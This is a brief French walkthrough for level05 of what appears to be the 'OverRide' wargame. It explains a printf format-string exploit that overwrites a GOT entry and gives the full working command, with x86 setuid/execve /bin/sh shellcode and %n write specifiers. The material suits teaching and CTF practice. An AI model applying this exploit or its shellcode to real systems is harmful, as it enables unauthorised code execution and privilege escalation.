OverRide/level05/walkthrough

5 lines
980 B
Plaintext

C'est un exploit printf avec un nombre trop grand pour etre ecrit via un seul %n, on en utilise donc 2 pour ecrire 2 bytes chacun. A noter qu'on aurait pu utiliser %hn aussi ce qui aurait ete plus propre. On override la got table avec l'adresse d'un shellcode place judicieusement dans la format string. A noter le $ qui permet de simuler le nieme arguement ce qui permet de rajouter un %x entre les 2 malgre qu'il devrait etre consecutif. (surement ca peut se bypass en decalant la deuxieme adresse '\xe2\x97\x04\x08' 4 bytes plus loin)
level05@OverRide:~$ rm -f exploit && python -c "print('\xe0\x97\x04\x08'+'\xe2\x97\x04\x08'+'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'%54914x'+'%10\$n'+'%10555x'+'%11\$n')" > exploit
level05@OverRide:~$ cat exploit - | /home/users/level05/level05